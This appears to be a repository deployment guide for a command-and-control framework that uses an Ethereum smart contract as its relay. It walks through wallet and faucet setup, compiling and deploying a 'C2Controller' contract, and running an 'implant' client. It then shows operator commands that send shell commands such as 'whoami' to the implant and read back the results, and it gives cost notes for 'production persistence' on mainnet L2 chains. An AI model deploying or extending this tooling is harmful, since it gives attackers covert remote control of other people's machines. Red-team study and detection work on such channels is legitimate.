Files

6.5 KiB
Raw Permalink Blame History

Deployment Walkthrough

This guide walks through setting up and deploying the C2 smart contract end-to-end, from wallet creation to contract deployment.


1. Create an Ethereum Wallet

  1. Install MetaMask browser extension
  2. Create a new wallet (save the seed phrase offline)
  3. Switch to Sepolia testnet (Settings → Network → Sepolia)
  4. Copy your wallet address (starts with 0x)
  5. Export your private key: MetaMask → ⋮ → Account Details → Export Private Key

Option B: CLI (No Browser)

# Generate a random 32-byte private key
openssl rand -hex 32 > wallet.key
cat wallet.key
# Example: a1b2c3d4e5f6... (64 hex chars)

# Derive the address (requires Node.js + ethers.js or foundry)
# With Foundry (installed below):
cast wallet address --private-key $(cat wallet.key)

⚠️ Keep your private key secret. Anyone with it can control your contract.


2. Get Free Testnet ETH

You need testnet ETH to pay gas for writes (deploy, issueCommand, submitResult). Reads are free — no gas needed.

Sepolia Faucets

Faucet URL Notes
Alchemy https://sepoliafaucet.com Free, requires free Alchemy account
Infura https://www.infura.io/faucet/sepolia Free, requires free Infura account
PoWFaucet https://sepolia-faucet.pk910.de Mine free ETH (no account needed)
LearnWeb3 https://learnweb3.io/faucets/sepolia Free
Google Cloud https://cloud.google.com/application/web3/faucet/ethereum/sepolia Free

For BSC Testnet

Faucet URL
BSC Testnet Faucet https://testnet.bnbchain.org/faucet-smart

You need ~0.01 test ETH — usually one faucet request gives 0.10.5 which is plenty.


3. Get an RPC Endpoint

RPC endpoints let you talk to the blockchain. Two free options:

  1. Go to infura.io → Create free account
  2. Create a new API Key → EthereumSepolia
  3. Copy your URL: https://sepolia.infura.io/v3/YOUR_KEY_HERE

Option B: Alchemy

  1. Go to alchemy.com → Create free account
  2. Create new App → EthereumSepolia
  3. Copy HTTPS endpoint

Option C: Public Endpoints (Rate Limited)

# Sepolia
https://rpc.sepolia.org
https://sepolia.gateway.tenderly.co
https://ethereum-sepolia.publicnode.com

# BSC Testnet
https://data-seed-prebsc-1-s1.binance.org:8545

4. Install Foundry (Compile + Deploy)

Foundry is the fastest Solidity toolchain.

# One-liner install
curl -L https://foundry.paradigm.xyz | bash

# Restart your terminal or:
source ~/.bashrc

# Install foundryup
foundryup

Verify:

forge --version
cast --version

5. Compile the Contract

# Navigate to the project
cd c2-blockchain-contract

# Install OpenZeppelin (required for Ownable)
forge install OpenZeppelin/openzeppelin-contracts

# Compile
forge build

# Extract ABI and bytecode
forge inspect C2Controller abi > contracts/C2Controller.abi
forge inspect C2Controller bytecode > contracts/C2Controller.bin

# View bytecode (copy this into cmd/server/main.go)
cat contracts/C2Controller.bin

Update the bytecode in cmd/server/main.go: Open the file and replace the placeholder "0x608060..." with the actual bytecode from contracts/C2Controller.bin (prefix with 0x).


6. Deploy the Contract

Method A: Using the Server Binary

# Build the server
make build-server

# Deploy (replace with your actual values)
./bin/server deploy \
  https://sepolia.infura.io/v3/YOUR_KEY \
  0xYOUR_PRIVATE_KEY_HEX \
  0xADDITIONAL_OPERATOR_ADDRESS_OPTIONAL

# Output:
# Contract deployed at: 0xABC123...

Method B: Using Forge Cast (Alternative)

# Single command deploy
forge create \
  --rpc-url https://sepolia.infura.io/v3/YOUR_KEY \
  --private-key YOUR_PRIVATE_KEY \
  --constructor-args 0x0000000000000000000000000000000000000000 \
  contracts/C2Controller.sol:C2Controller

# Output:
# Deployed to: 0x...

Method C: Remix IDE (Browser — No Toolchain Needed)

  1. Go to remix.ethereum.org
  2. Create C2Controller.sol file → paste contract source
  3. Install plugin: Solidity Compiler → compile C2Controller
  4. Install plugin: Deploy & Run Transactions
  5. Environment: Injected Provider (MetaMask)
  6. Contract: C2Controller
  7. Deploy with constructor arg: 0x0000000000000000000000000000000000000000 (or an operator address)
  8. Confirm MetaMask tx
  9. Copy deployed contract address

7. Run the Implant

# Build the client
make build-client

# Run
export ETH_RPC_URL=https://sepolia.infura.io/v3/YOUR_KEY
export CONTRACT_ADDR=0xDEPLOYED_CONTRACT
export PRIVATE_KEY=0xIMPLANT_WALLET_KEY

./bin/client --interval 10 --jitter 3

Note: The implant needs its own wallet with a small amount of testnet ETH to submit results. You can reuse the deploy wallet or create a new one and fund it from the faucet.


8. Issue a Command

# Get the implant ID from the client output:
# "[+] C2 Blockchain Implant"
#     Implant ID:  0xabc123...

./bin/server exec \
  https://sepolia.infura.io/v3/YOUR_KEY \
  0xOPERATOR_PRIVATE_KEY \
  0xCONTRACT_ADDRESS \
  abc123... \
  "whoami"

# The implant will pick it up on the next poll (~10-15s) and submit the result.

9. Read Results

# Read last 10 results
./bin/server results \
  https://sepolia.infura.io/v3/YOUR_KEY \
  0xCONTRACT_ADDRESS \
  --limit 10

Cost Estimates

Action Testnet (Sepolia) Mainnet L2 (Arbitrum/Optimism) Ethereum L1
Deploy Free (faucet) ~$0.005 ~$20200
issueCommand Free ~$0.001 ~$315
submitResult Free ~$0.001 ~$315
getCommand Free Free (view) Free
getActiveCommands Free Free Free

All read operations are always free. Only writes (deploy, issueCommand, submitResult, add-op) cost gas.

For production persistence at minimal cost, deploy on Arbitrum or Optimism where commands cost <$0.01 each.


Contract Verification

# Verify on Sepolia Etherscan
forge verify-contract \
  --chain sepolia \
  --etherscan-api-key YOUR_API_KEY \
  0xCONTRACT_ADDRESS \
  contracts/C2Controller.sol:C2Controller \
  --constructor-args $(cast abi-encode "constructor(address)" 0x0000...)

Get an Etherscan API key at etherscan.io (free).